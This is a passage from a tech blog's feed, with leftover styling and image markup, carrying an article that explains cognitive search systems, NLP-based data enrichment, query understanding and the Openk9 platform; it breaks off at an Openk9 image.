    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Cognitive Search System with Openk9]]></title><link>https://techblog.smc.itopenk9-cognitive-search</link><guid isPermaLink="false">https://techblog.smc.itopenk9-cognitive-search</guid><pubDate>Fri, 15 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Research represents a task of fundamental importance in multiple work and non-work contexts; the main goal of a search system is
to satisfy the user&amp;#x27;s needs as precisely and efficiently as possible, identifying the most relevant results based on the request.&lt;br/&gt;
With this objective, the research systems have evolved more and more in the latest years.&lt;br/&gt;
At the state of the art today we talk about &lt;strong&gt;cognitive search engines&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;In the following we will go to see what a cognitive search system is, and then move on to describe and explore the functioning
of the cognitive search solution Openk9.&lt;/p&gt;&lt;h1 id=&quot;what-is-cognitive-research&quot;&gt;What is cognitive research&lt;/h1&gt;&lt;p&gt;Organizations nowadays have to manage content from multiple data sources. As for example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Mail server&lt;/li&gt;&lt;li&gt;Web portals&lt;/li&gt;&lt;li&gt;Crm&lt;/li&gt;&lt;li&gt;etc....&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These contents are also very often of different types. We can have documents, emails, contacts, calendars, tickets, and much more.&lt;/p&gt;&lt;p&gt;Last but not least, these contents can be both structured and unstructured in nature.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ef791af36e5e7715fdac8386eb991185/61016/format.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;214\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20214\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20107v107h182A102539%20102539%200%2001205%202V0H0v107M210%202a15228%2015228%200%2001-23%20211l107%201h106V0h-95c-90%200-95%200-95%202m147%2025l1%205%201-1%201-2%202%202h9c3%203%204%201%202-3-2-6-4-7-6-1l-2%204-1-5c0-2-1-3-4-3s-3%200-3%204m-3%2043c-3%200-11%2012-8%2012l1%201c0%203-14-1-21-7l-5-3c-1%200%201%208%203%2010%203%204%202%207-1%204-2-2-2-1-1%202l4%205c4%202%205%204%202%204l-2%201c0%201%206%205%208%205%204%200%202%203-4%206l-6%203h3c20%204%2038-8%2040-28%200-4%201-6%202-7l1-2c-3%201-4%200-2-2l3-2-3%201-5-1c-2-2-6-3-9-2M43%2075v9h100V74H93l-50%201m203%2023v21h55V76h-55v22m2-1c0%2017%201%2024%202%2020h2l25%201h23V98l-1-19c-1%200-2%202-2%205%200%205%200%205-3%205-3%201-6%203-10%208-11%2011-16%2013-23%206l-7-5-3-1V81l22-1c15%200%2023%200%2022-1l-24-1h-23v19m16-11c-3%202-2%206%200%208%204%204%2010%201%2010-4s-7-8-10-4M42%2089v26l1%2024h25c21%200%2025%200%2025%202l-25%201-25%201-1%202v6l1%202h60l-2-4c-12-17%200-39%2021-39%208%200%2016%204%2013%207l-4-1c-19-10-40%2014-27%2031%2014%2018%2041%207%2039-16v-5c2%200%202-1%202-4s0-3-1-2a8911%208911%200%2000-24%2025c-2%200-11-12-11-14%201-2%203-1%207%204l4%204s6-5%2011-12c6-7%2012-12%2013-12s2-5%200-5l-1-12V88H93l-51%201m8%207c-2%203%200%203%2020%203%2018%200%2019%200%2019-2-1-2-37-3-39-1m47%200c-4%202%201%203%2020%203%2018%200%2019%200%2019-2%200-1-2-2-19-2l-20%201m-47%208c-2%202%202%202%2020%202l19-1c0-2-3-2-19-2l-20%201m47%200c-2%202%202%202%2020%202l19-1c0-2-3-2-19-2l-20%201m188%2027l19%2013c2%200%2018-10%2022-14%201-1-9-1-21-1-22%200-22%200-20%202m-2%2023v14h44v-14c0-11%200-14-1-13a440%20440%200%2000-21%2013l-11-7-11-7v14m-263-6c-14%205-19%2025-8%2037%203%204%204%203%200-2-2-3-2-5%202-5%202%201%202%201%200-2-1-2-2-9-1-12l2-8c0-2%200-2%203-2%205%201%2016%202%2019%201%203%200%202-7-1-8-4-1-11-1-16%201m214%204c-12%206-17%2024-9%2033%203%203%209%203%207%200l-1-6c-1-5-2-5-5-5-4%200-4-2%201-3%202%200%203-1%204-4l2-7-1-2-2-1%202-1c1%200%204-1%205-3%204-3%205-2%202%201-1%203-1%203%202%203s3%200%203-4c1-5-2-5-10-1m-217%207l-1%205c-2%200-1%209%201%2012l5%203c5%201%205%202%202%205-2%202-3%202-5%202h-2l4%201c3%200%203%200%203%203s1%204%203%204c6%201%208-1%208-6l-1-6c-1-1-1-2%202-2%207-2%2011-9%208-15l-2-6c0-3%200-3-3-2l-9%201-10-1c-3-1-3-1-3%202m29%202c2%2011%200%2017-6%2019-3%201-3%202-3%207l1%205c3%200%2011-8%2013-13%204-8%201-22-4-22-2%200-2%200-1%204m38-3l1%203v6l-1%204h9c7%200%208%200%208-2l-1-7v-5h-8l-8%201m151%203l-2%206v4h11v-5c0-5%200-6-2-6l-4-1-3%202m15-1c-3%200-3%200-3%206v5h11v-3c-1-5-3-9-4-9l-4%201m-17%2016l2%206c1%204%201%204%205%204h4v-12h-5c-5%200-6%200-6%202m14%204v6h4c4%200%204%200%206-3%202-7%202-9-4-9h-6v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ef791af36e5e7715fdac8386eb991185/c85cb/format.webp 300w,/static/ef791af36e5e7715fdac8386eb991185/e88ff/format.webp 600w,/static/ef791af36e5e7715fdac8386eb991185/92f8c/format.webp 1200w,/static/ef791af36e5e7715fdac8386eb991185/7f7a1/format.webp 1770w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ef791af36e5e7715fdac8386eb991185/5a46d/format.png 300w,/static/ef791af36e5e7715fdac8386eb991185/0a47e/format.png 600w,/static/ef791af36e5e7715fdac8386eb991185/c1b63/format.png 1200w,/static/ef791af36e5e7715fdac8386eb991185/61016/format.png 1770w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Structured and Unstructured&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ef791af36e5e7715fdac8386eb991185/c1b63/format.png&quot; title=&quot;Figura 1 - Structured and Unstructured&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Structured and Unstructured&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;A first objective that a modern search system must satisfy is that of centralizing the search towards contents of different origin and typology
and nature in a single system that allows searching for all these contents through a single access point and in a similar way.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 2 - Search&quot; title=&quot;Figura 2 - Search&quot; src=&quot;/linked/c7efa54f13ce9bf9970ab3bf23d59fce/search.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Search&lt;/figcaption&gt;&lt;/figure&gt; &lt;p&gt;But that&amp;#x27;s not it. The whole world of computer systems is increasingly influenced and extended thanks to the use of modern techniques
Artificial Intelligence and Machine Learning. The research systems are no exception. Cognitive research systems are born from this union.&lt;/p&gt;&lt;p&gt;Wanting to define a cognitive research system, we can say that:&lt;/p&gt;&lt;p&gt;&lt;em&gt;a cognitive search system is an advanced search system that uses ML capabilities to enrich content
and support the user in research, with the primary goal of increasing the accuracy of the results&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Therefore a fundamental role in these systems is played by the functionalities of AI and ML. In particular, as stated in the definition given,
they are used for two very specific purposes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;enrich the contents indexed by the cognitive search system&lt;/li&gt;&lt;li&gt;support the user in the research in achieving his intentions&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In the following, the operation of the Openk9 solution will be illustrated, and it will be clearer
how the data enrichment activity works and is managed.&lt;/p&gt;&lt;p&gt;In this phase, however, it is of interest to give an overview of some of the useful and
frequently used techniques for the aforementioned phases.&lt;/p&gt;&lt;h2 id=&quot;machine-learning-techniques-for-enrichment&quot;&gt;Machine Learning techniques for enrichment&lt;/h2&gt;&lt;p&gt;What does data enrichment mean?&lt;/p&gt;&lt;p&gt;With data enrichment we refer to the analysis and expansion of the content of interest, which when it is indexed by the engine
of cognitive research, is analyzed, with the aim of extracting additional and &amp;quot;hidden&amp;quot; information, which may prove useful for increasing
precision in the research activity. &lt;br/&gt;
This information, once extracted, is linked to the original data, and the enriched data is indexed. The information deriving from the activity of
enrichment to this can be used to make more powerful and precise searches.&lt;/p&gt;&lt;p&gt;Before looking at some of the techniques useful for enrichment, it is good to point out that a cognitive research system must be able to support
the use of any technique useful for enriching the data, as these may vary according to the needs and nature of the data. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this context we are going to see some &lt;a href=&quot;https://en.wikipedia.org/wiki/Natural_language_processing&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;
techniques that are obviously useful in the case of enriching textual content, certainly the most commonly sought after.&lt;/p&gt;&lt;p&gt;A series dedicated to the most relevant tasks of &lt;a href=&quot;https://en.wikipedia.org/wiki/Natural_language_processing&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;
is present in our blog. Some of the techniques listed here are addressed by this series of articles.
Start reading from &lt;a href=&quot;https://techblog.smc.it/en/2020-12-11/nlp-ner&quot;&gt;first article&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Commonly used techniques are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://techblog.smc.it/en/2020-12-11/nlp-ner&quot;&gt;Named Entity Recognition&lt;/a&gt;&lt;/strong&gt;: it is about recognizing entities and semantic concepts in the text.
These entities can then be used to perform more complex and precise searches.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:613px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ac461e4284d877cec31cf280dffe35b9/5754a/ner.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;183\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20183\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%205L8%2016l1%2011h56l59-1c1-2%202-19%200-21C122%204%2011%203%209%205m263%200l-1%2011c0%2013-2%2012%2031%2012s31%201%2031-12l-1-11c-2-2-58-2-60%200M9%2033L8%2045l1%2011h42c39%200%2043%200%2044-2%202-2%201-17-1-20l-1-2H52L9%2033m358%208l-1%201h-2c-2%202-2%202-3%200h-6l-1%202h-2l-2-2h-2c-2-2-4%201-4%203%201%204%205%203%206%200l1-2v2c1%204%203%204%204%201v-2l1%202c1%202%204%203%206%201h1l3%201c2%200%202%200%202-4v-5l-1%202M9%2062v22l38%201h36l2-2c2-4%201-20-1-21H9m319%201l-1%2010c0%2013-2%2012%2028%2012l27-1V62l-27-1c-25%200-26%200-27%202m-140%209c0%204%200%205%202%205l3-1h2l3%201h3c0%203%202%203%204%202%202-2%201-8-1-8h-9c-2%202-2%202-2%200l-2-1c-1%201-2%200-2-1-1-1-1%201-1%203m64-2c0%202-1%202-2%201s-2-1-3%201l-4%201c-1-1-1-1%201-1s2%200%201-1c-4-2-5%201-2%204v1h-2%206l4%201c2%200%203-1%203-3l1-2%201%203c0%202%201%203%202%201h7c2%202%205%201%206-1%201-4-3-6-5-4s-2%202-2%200c-1-1-4-1-5%201l-1-1-3-1-1-1c-1-1-1-1-2%201M9%2091c-3%203-3%2019%200%2021%203%203%20102%203%20104%200%203-2%203-19%200-21-3-3-102-3-104%200m239%200c-2%202-2%205-2%2011%200%205%200%208%202%2010l1%202h72c64%200%2072%200%2073-2%203-2%203-19%200-21-1-2-8-2-73-2h-72l-1%202m-103%207l-1%204c0%203%202%205%204%203h7c1-2%201-2%202-1%203%202%205%201%205-2l-2-2-2-1h3l1-1c0-2-4-1-5%201h-2c-1-3-4-2-5%201l-1%203v-3c0-3-3-4-4-2M9%20120c-2%201-2%203-2%2010%200%2014-3%2013%2041%2013l38-1c2-1%202-2%202-11l-1-12c-2-2-76-1-78%201m100%200c-2%201-2%204-2%2010%200%2013-3%2012%2036%2012l36-1c2-2%201-21-1-22l-35-1c-30%200-33%200-34%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ac461e4284d877cec31cf280dffe35b9/c85cb/ner.webp 300w,/static/ac461e4284d877cec31cf280dffe35b9/e88ff/ner.webp 600w,/static/ac461e4284d877cec31cf280dffe35b9/0abb1/ner.webp 613w&quot; sizes=&quot;(max-width: 613px) 100vw, 613px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ac461e4284d877cec31cf280dffe35b9/5a46d/ner.png 300w,/static/ac461e4284d877cec31cf280dffe35b9/0a47e/ner.png 600w,/static/ac461e4284d877cec31cf280dffe35b9/5754a/ner.png 613w&quot; sizes=&quot;(max-width: 613px) 100vw, 613px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Ner&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ac461e4284d877cec31cf280dffe35b9/5754a/ner.png&quot; title=&quot;Figure 3 - Ner&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Ner&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Relationship_extraction&quot;&gt;Extractions of relationships&lt;/a&gt;&lt;/strong&gt;: Extractions of relationships between entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://techblog.smc.it/en/2020-12-21/nlp-text-clf&quot;&gt;Textual classification&lt;/a&gt;&lt;/strong&gt;: intelligently categorize the text and use this information to search for content by category&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://techblog.smc.it/ient/2021-10-22/topic-modelling&quot;&gt;Topic Modeling&lt;/a&gt;&lt;/strong&gt;: identify the main topics of a content and exploit this information to search for content dealing with a sure topic&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If the data to be ingested were of another nature, information extraction techniques suitable for the use case can be used.
For sources with multimedia data such as audio, images rather than video, tools that implement Machine techniques can be used
Learning such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Speech_recognition&quot;&gt;Speech Recognition&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Object_detection&quot;&gt;Object Detection&lt;/a&gt;,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Facial_recognition_system&quot;&gt;Face Recognition&lt;/a&gt;, rather than &lt;a href=&quot;https://en.wikipedia.org/wiki/Activity_recognition&quot;&gt;Activity Recognition&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;All the information extracted during the enrichment phase also contribute to the population of a relationship graph that is used by the
search system to carry out searches, analytics and actions that increase the capabilities of the search engine.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/4719e/grafo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:60%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;240\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20240\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M219%2061l-1%2010c-1%201%203%201%209%201%205%200%209%200%208-1l-1-10v-9h-15v9m2%201l1%209%201-4c0-2%200-2%204-2%203%200%203%200%203%202l1%204%201-9v-9h-11v9M31%2059c0%202%200%203%205%203l6-1h8c1%202%2016%201%2016-1l-14-1-15-1h-4c-1-2-2-1-2%201m10%2015c-3%201-4%202-1%204v10c-3%203-2%203%208%203l10-1-1-1-1-5%201-6c6-4-9-7-16-4m95%202c0%202-1%203-3%203-4%201-4%201-4%206v5h26V80h-4c-3-1-4-2-4-4s0-2-5-2c-6%200-6%200-6%202m29%2064c-8%204-11%2013-9%2020%206%2020%2035%2016%2034-5%200-13-14-21-25-15m3%200c-7%203-11%208-11%2016%200%2020%2030%2021%2032%201%201-12-11-21-21-17m83%2010v10h21v-21h-21v11m3-5c0%204%200%203%209%207l3%202c1%203%202%202%202-2s0-5-3-5l-2-1c0-2%200-2%202-2l3-1-7-1h-7v3m72%2012h-2c-3%200-5%201-3%203h20l5%201c4%200%204%200%204-3%200-2%200-2-2-1h-3l-2%201h-1l-3-1h-13m-214%2022c-4%202-8%209-7%2014%203%2014%2019%2016%2026%203%205-10-8-23-19-17m0%202c-11%205-6%2022%206%2022%207%200%2012-5%2012-12%200-10-10-15-18-10m116%202c-9%205-10%2015-2%2022%209%208%2023%200%2022-12-2-10-12-15-20-10m1%200c-14%207-5%2028%209%2023%2011-3%2011-18%201-22-5-2-6-2-10-1m-1%204c-2%201-2%202-2%209l1%207h16v-7c0-7%200-7-2-8l-2-1h-11\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/c85cb/grafo.webp 300w,/static/407ad251ab46d2ab37511bd25e791b0e/e88ff/grafo.webp 600w,/static/407ad251ab46d2ab37511bd25e791b0e/92f8c/grafo.webp 1200w,/static/407ad251ab46d2ab37511bd25e791b0e/f37ae/grafo.webp 1330w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/5a46d/grafo.png 300w,/static/407ad251ab46d2ab37511bd25e791b0e/0a47e/grafo.png 600w,/static/407ad251ab46d2ab37511bd25e791b0e/c1b63/grafo.png 1200w,/static/407ad251ab46d2ab37511bd25e791b0e/4719e/grafo.png 1330w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - Knowledge Graph&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/407ad251ab46d2ab37511bd25e791b0e/c1b63/grafo.png&quot; title=&quot;Figure 4 - Knowledge Graph&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - Knowledge Graph&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;techniques-for-user-support-for-research&quot;&gt;Techniques for user support for research&lt;/h2&gt;&lt;p&gt;The information resulting from enrichment is an extremely relevant source of data for research purposes.
A cognitive search system uses this information to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;provide suggestions to the user while writing the query&lt;/li&gt;&lt;li&gt;formulate syntactically correct queries (self-correction)&lt;/li&gt;&lt;li&gt;carry out activities to understand the query, with the aim of identifying the intent of the users. This activity helps build
a representation of the query that provides more accurate results&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The first two points are met through the use of modern NLP techniques for carrying out &lt;a href=&quot;https://en.wikipedia.org/wiki/Autocomplete&quot;&gt;self-completion&lt;/a&gt; activities
and &lt;a href=&quot;https://en.wikipedia.org/wiki/Autocorrection&quot;&gt;autocorrection&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;To contribute to the realization of the comprehension activity, on the other hand, there are different functionalities, in any case always linked to the modern techniques of
Natural Language Processing.&lt;/p&gt;&lt;p&gt;A rough diagram on the flow achieved by the query understanding activity is the following.&lt;/p&gt;&lt;p&gt;All activities are carried out through intelligent tools that increase the meaning of the query with appropriate indications.
Let&amp;#x27;s look at the query example &lt;em&gt;pdf documents by Mike Brown of Acme Inc&lt;/em&gt;.
The query understanding tool then performs:&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3b394fa598802becc1984f0bdd72020b/799f3/query-understanding.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;223\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20223\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M43%2019v4H27C6%2023%207%2022%207%2035l1%2012%2018%201h17v12H27c-14%200-17%200-18%202-2%202-3%2020-1%2022l18%201h17v11H26L8%2097l-1%2011c0%2013%200%2013%2020%2013h16v10H27c-20%200-20%200-20%2013l1%2011%2018%201h17v10H26l-18%201-1%2011c0%2013-1%2013%2020%2013h16v3c0%203%200%203-4%203l-4%201c0%201%2015%2016%2017%2016l16-16-4-1c-4%200-4%200-4-3v-3h17c22%200%2021%201%2021-12l-1-12-19-1H60v-10h18l19-1%201-12c0-13%201-12-21-12H60v-10h18c15%200%2018-1%2019-2V97l-19-1H60V85h18l19-1V61l-19-1H60V48h18l19-1V24l-19-1H60v-9H43v5m-16%206L9%2026c-2%203-1%2018%201%2019%202%202%2084%203%2086%201V26c-2-1-50-2-69-1m0%2037L9%2063v19c1%202%203%202%2043%202l44-1V63c-2-1-50-2-69-1M9%2099v19c2%202%2087%201%2087-1%202-3%201-18%200-19l-44-1c-40%200-42%200-43%202m0%2035v19c1%202%203%202%2043%202l44-1c1-1%202-16%200-19%200-2-85-3-87-1m0%2035c-2%203-1%2018%200%2019l45%201h43v-10l-1-11-44-1c-40%200-42%200-43%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3b394fa598802becc1984f0bdd72020b/c85cb/query-understanding.webp 300w,/static/3b394fa598802becc1984f0bdd72020b/e88ff/query-understanding.webp 600w,/static/3b394fa598802becc1984f0bdd72020b/92f8c/query-understanding.webp 1200w,/static/3b394fa598802becc1984f0bdd72020b/ee7fd/query-understanding.webp 1642w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3b394fa598802becc1984f0bdd72020b/5a46d/query-understanding.png 300w,/static/3b394fa598802becc1984f0bdd72020b/0a47e/query-understanding.png 600w,/static/3b394fa598802becc1984f0bdd72020b/c1b63/query-understanding.png 1200w,/static/3b394fa598802becc1984f0bdd72020b/799f3/query-understanding.png 1642w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 5 - Query Understanding&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3b394fa598802becc1984f0bdd72020b/c1b63/query-understanding.png&quot; title=&quot;Figure 5 - Query Understanding&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Query Understanding&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;ul&gt;&lt;li&gt;appropriate cleaning activities through for example tokenization or elimination of stopwords&lt;/li&gt;&lt;li&gt;identifies phrases with a relevant meaning within the query&lt;/li&gt;&lt;li&gt;then carries out a concept tagging activity, identifying for example that Mike Brown is a person, pdf a specific type of document, rather than
Acme inc a certain organization&lt;/li&gt;&lt;li&gt;expands the meaning of the query, through the use of the knowledge base, noting that Mike Brown of Acme Inc is a developer&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All this information is included in the description of the query made to the search system, thus obtaining more relevant results
possible. In this case, giving greater importance to pdf documents with the developer Mike Brown of Acme Inc.&lt;/p&gt;&lt;h1 id=&quot;openk9&quot;&gt;Openk9&lt;/h1&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:352px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2f3af17c9f915d042f20528698e4ad05/e5a29/openk9.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
